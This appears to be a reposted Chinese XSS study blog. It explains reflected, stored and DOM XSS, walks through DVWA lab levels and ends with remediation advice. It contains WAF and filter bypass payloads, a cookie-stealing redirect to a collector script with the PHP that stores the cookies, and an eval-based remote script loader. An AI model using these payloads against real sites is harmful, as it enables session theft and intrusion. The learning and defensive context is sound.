XSS

Posted caijiqhx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS相关的知识,希望对你有一定的参考价值。

XSS

参考网址

XSS原理

测试代码

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>

<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>' . $xss;
?>
</body>

</html>

输入框输入的值会被输出,所以我们就输入script标签,就可以实现XSS。测试可以用firefox,chrome有XSS Auditor,以后可以学一下怎么绕过。

当然XSS不都是这么简单,需要利用输出环境来构造代码。

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>

<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if (isset($xss)) 
echo '<input type="text" value="' . $xss . '">';
 else 
echo '<input type="type" value="输出">';

?>
</center>
</body>

</html>

输入的字符串输出到另一个字符串,对于这段代码,我们可以输入">来闭合前面的input标签,从而执行后面的js。而原来用来闭合的">会作为多余的字符串输出,看着不美观。我们就可以通过其他方法执行,比如标签的属性。使用on事件进行xss," onmousemove="alert(‘xss‘)

总之,XSS就是想尽办法在页面上执行js。

分类

0x01 反射型XSS

Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS——编码、缩短——发送给受害人——受害人打开,执行XSS——实现功能(获取cookie、url、浏览器信息、IP等)

可以通过软件挖XSS,手工的话就针对对话框、数据包、url参数、js分析等方面。

0x02 存储型XSS

存储型XSS把数据保存到服务端,而反射型只是让XSS游走在客户端上。

此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者卢兰包含此恶意代码的页面就会执行恶意代码。一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或服务端的数据库中。

0x03 DOM XSS

DOM-Based XSS基于DOM文档对象模型的,它不需要与服务端进行交互,像反射、存储都需要服务端的反馈来构造XSS,因为服务端对我们是不可见的,就像一般都是抢客户不是抢银行,当然你要是抢银行那你是真的。

客户端js可以访问浏览器的DOM,因此能够决定用于加载当前页面的URL,也就是js可以通过DOM动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得DOM的数据(如从URL中提取数据)并在本地执行。另一方面,浏览器用户可以操纵DOM中的一些对象,例如URL、Location等。用户在客户端输入的数据如果包含了恶意js,未经过过滤的话就会有DOM XSS。

<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>

这段代码会截取输入的URL的a=后的子串,输出到页面上,当我们输入js代码时就会触发DOM XSS。

An easy sample

修改URL参数的时候,看到的只是GET传输的数据,POST表单的数据是在数据包里。

php获取IP一般就三个函数:HTTP_CLIENT_IPHTTP_X_FORWARDED_FORREMOTE_ADDR,前两个都是可以伪造的,可以修改数据包。

测试网站www.ip138.com,它可以获取客户端IP。

在burp里抓包,添加一行X-Forwarded-For,后面的字段就是IP地址,随便输入一个,再放过,就看到网页上显示了伪造的IP。将IP替换为js,就实现了XSS:

技术图片

Amazing! 真有意思

技巧篇

0x01 第三方劫持(外调J/C)

“第三方劫持”就是把资源域的服务器的权限拿下,替换相关资源,采用“迂回式”的渗透方式。

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++)
var a = document.createElement('a');
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname)
console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);

这段代码可以获取非本站的J/C,之后就可以对目标进行渗透,重写J/C。

0x02 XSS Downloader

就是把反射和存储结合起来,把核心代码写在网站上,然后以XSS触发并调用代码实现攻击。

<!--Ajax.html-->
<html>

<head>
<title>ajax</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) 
xmlhttp = new XMLHttpRequest();
 else 
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

xmlhttp.onreadystatechange = function() 
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) 
request_text = xmlhttp.responseText;
var a = request_text.indexOf("fortst") + 6;
var b = request_text.indexOf("tstrof");
eval(request_text.substring(a, b));


xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

这段代码会获取ajax.txt中指定位置的子串,然后以eval的形式运行。

假设网站的留言板存在反射XSS,可以构造on事件,运行

eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));

这样就可以执行留言内容中的js,当然可以用正则匹配。

<html>

<head>
<title>ajax+正则匹配</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) 
xmlhttp = new XMLHttpRequest();
 else 
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

xmlhttp.onreadystatechange = function() 
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) 
request_text = xmlhttp.responseText;
var text = request_text.match(/fortst(.*)tstrof/i);
eval(text[1]);


xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

编码与绕过

0x01 URL编码

URL只允许使用US-ASCII字符集中可打印的字符(0x20-0x7E),其中某些字符在HTTP协议里有特殊的意义,所以有些也不能使用。这里需要注意的,+加号代表URL编码的空格,%20也是。

URL编码最常见的是在用GET/POST传输时,将字符转为十六进制。

0x02 unicode编码

Unicode有1114112个码位,也就是说可以分配这些个字符,编码的字符已%u为前缀,后面是这个字符的十六进制的码点。有的站点过滤了某些字符串,但是发现这个站点在后端验证字符的时候,识别unicode编码,就可以用unicode绕过过滤机制。

0x03 HTML编码

HTML编码的存在就是让它在代码中和显示中分开,避免错误。它的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode编码,而且浏览器解析的时候会先把HTML编码解析然后进行渲染。但有个前提就是必须要在值里。

0x04 CSS编码

不常用,就是/斜杠加上1-6位十六进制,大多是用于CSS小图标。

0x05 常见的绕过方式

<sCrIpt>alert(1)</script>是突然
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>ript>alalertert</scr</script>ript> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
标签属性=”javascript:js_code" 只对支持js伪协议的属性起作用
<标签 on事件=“js_code">
<script
woaini>
alert(123)
</script
woaini>
浏览器会把换行或TAB符当成空格,把后面的字符当作属性来解析

0x06 插件安全

插件渲染到页面的过程:

用户打开网站—发送数据包—服务器响应并发送Response包—浏览器受到Response包—渲染(先渲染Response包,再渲染插件的代码)

也就是在插件中写了一段js,那么用户安装后,凡打开网站,浏览器渲染后,就可以获取用户的cookie,如果攻击者事先有准备,还可以利用csrf攻击。

  • 假设1:攻击者把XSS代码封装到插件里,上传到浏览器插件下载网址(管理不严),上传成功后。用户下载安装。GG
  • 假设2:攻击者拥有dedecms的scrf(可以添加管理员),当网站管理员安装或使用带有插件的浏览器,网站就GG。
  • 假设3:攻击者拥有某个浏览器插件的XSC漏洞,再结合插件安全问题,就可以实现用户打开某个网站,就会被不知不觉中安装插件。通过插件可以实现隐蔽式的攻击。

黑客发现插件调取的API网站安全漏洞—重写了发送的数据包—插件获取被重写API数据—解析

如何绕过WAF:

0x01 直视WAF

一些简单的绕过方法

  • 大小写转换法:
SQL: sEleCt vERsIoN();
XSS: <sCrIpt>alert(1)</scRiPt>
  • 干扰字符污染法:

空字符、空格、TAB、换行、注释、特殊的函数,利用网站使用的语言函数特性绕过waf的规则或使用会无视的字符。

  • 字符编码法:

对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascii、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等。

利用浏览器上的进制转换或语言编码规则来绕过waf。

  • 拼凑法:

如果过滤了某些字符串,可以在构造:

SQL: selselectect verversionsion();
XSS: <scr<script>ript>alalertert</scr</script>ipt>

利用waf的不完整性,只验证一次字符串或过滤的字符串并不完整。

0x02 Webkit

webkit下的解析器——词法分析器,绕过的时候它来完成。

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--这个可以弹窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe> <!--这个不可以弹窗-->

回车、换行只在属性中引号里才会起作用。

0x03 从HTTP数据包说起

  • 有一部分网站waf是部署在客户端上的,利用burp、fiddler就可以轻松绕过。
  • 有的网站对百度、google等爬虫请求并不过滤,这时我们就可以再USER-Agent伪造自己是搜索引擎的爬虫,绕过waf。
  • 有的网站使用$_REQUEST接收get post cookie参数,这时如果waf只对get post参数过滤了,那么就可以在数据包里对cookie进行构造攻击代码,来实现绕过waf。
  • 有的waf对get post cookie都过滤了,还可以进行绕过。假设网站会显示你的IP或者你使用的浏览器,那么你就可以对IP、user-agent进行构造,在php中X-Forwarded-For和HTTP-Client-IP两个获取IP的函数都可以被修改,前面已经进行了对www.ip138.com的xss。

0x04 WAF算个锤子

前面也说过,可以利用第三方插件进行攻击,因为它的权限高,可以跨域。

DVWA XSS

Reflected

Low

输入的内容会显示在下面Hello后面,输入<script>alert(/xss/)</script>,弹窗成功。

<!--payload-->
<script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script>
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
Medium
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) 
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello $name</pre>";

一次过滤可以大小写或双写绕过。

High
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) 
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello $name</pre>";

script被全面封杀,可以用img标签

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) 
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello $name</pre>";


// Generate Anti-CSRF token
generateSessionToken();

htmlspecialchars函数将代码转为HTML编码格式,是真的nb。

不过当在script、input标签中时,即可突破。

<!--payload-->
' oninput=alert(/xss/) '
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<input type='text' value=' $name'>";

Stored

Low

要求输入name和message,输入的值会输出到下面,name有长度限制,在message中直接<script>alert(/xss/)</script>,sign,成功。可以用burp改包突破长度限制。

Medium
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

message过滤得很nb,用burp改name就行了。

High
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )

message还是上面的,name这里封杀了script,用img

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible

message和name都是过滤,没办法。

DOM

Low

没有进行任何过滤,直接?default=<script>alert(/xss/)</script>就行。

Medium
if (stripos ($default, "<script") !== false) 
header ("location: ?default=English");

用img标签,输入<img src=‘x‘ onerror=alert(/xss/)>得到

<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>

发现填入了属性,那就先闭合option标签,然后再闭合前面的select标签,

<!--payload-->
"></option></select><img src='x' onerror=alert(/xss/) >
High

php用的是白名单,网上带哥说是可以用#截断,后面的内容不会被提交到服务器,可以直接与浏览器交互。

<!--payload-->
English#<script>alert(/xss/)</script>

XSS 漏洞修复

XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理,修复XSS漏洞就在于如何更好的将用户提交的数据进行安全过滤。

HTML实体

在HTML中有些字符像<,对HTML有特殊意义,要显示这些字符,必须使用实体字符。

HTML实体的存在是导致XSS漏洞的主要原因之一。

因此需要将这些实体全部转换为相应的实体编号。

显示 实体名称
‘ ‘ &nbsp;
< &lt;
> &gt;

| & | &amp; |
| " | &quot; |
| | &apos; |

HTML Encode

用户将数据提交上来的时候进行HTML解码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

修复漏洞方针

过滤过滤过滤!

  1. 将重要的cookie标记为http only,这样js中的document.cookie语句就不能获取到cookie。
  2. 表单数据规定值的类型,例如name只能为字母数字组合。。。
  3. 对数据进行HTML Encode处理
  4. 过滤或移除特殊的HTML标签,例如<script>,<iframe>,$lt; for <, $gt; for >,$quot for "
  5. 过滤js事件的标签,例如onclick=, onfocus=等等。

PHP中的相应函数

funtions 功能
strip_tags(\(str, [允许标签]) | 从字符串中去除 HTML 和 PHP 标记 | | htmlentities(\)str) 转义html实体
html_entity_decode(\(str) | 反转义html实体 | | addcslashes(\)str, ‘字符’) 给某些字符加上反斜杠
stripcslashes(\(str) | 去掉反斜杠 | | addslashes (\)str ) 单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str) 去掉反斜杠
htmlspecialchars() 特殊字符转换为HTML实体
htmlspecialchars_decode() 将特殊的 HTML 实体转换回普通字符

做了一下闯关小游戏,大多数xss的原理还是比较简单的。

XSS之同源策略与跨域访问

同源策略

在这个策略下,web浏览器允许第一个页面的脚本访问第二个页面的数据,但是也只有在两个页面有相同的源时。源是由URI、主机名、端口号组成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。

源决定规则

对于绝对的URIs,源就是协议、主机、端口定义的,只有这些值完全一样才认为两个资源是同源的。

不受同源策略限制的:
  1. 页面中的链接、重定向以及表单提交是不会受到同源策略限制的。
  2. 跨域资源的引入是可以的,但是js不能读写加载的内容。如嵌入到页面的<script src="...">, <img>, <link>, <iframe>等。

跨域访问

浏览器从一个域名的网页请求另一个域名的资源时,域名、端口、协议任一不同,都是跨域。

如何解决跨域问题

以上是关于XSS的主要内容,如果未能解决你的问题,请参考以下文章

Pikachu靶场之XSS漏洞详解

什么是 XSS攻击?

Pikachu之XSS

web安全之XSS攻击原理及防范

web安全之XSS攻击原理及防范

Pikachu漏洞练习平台实验——XSS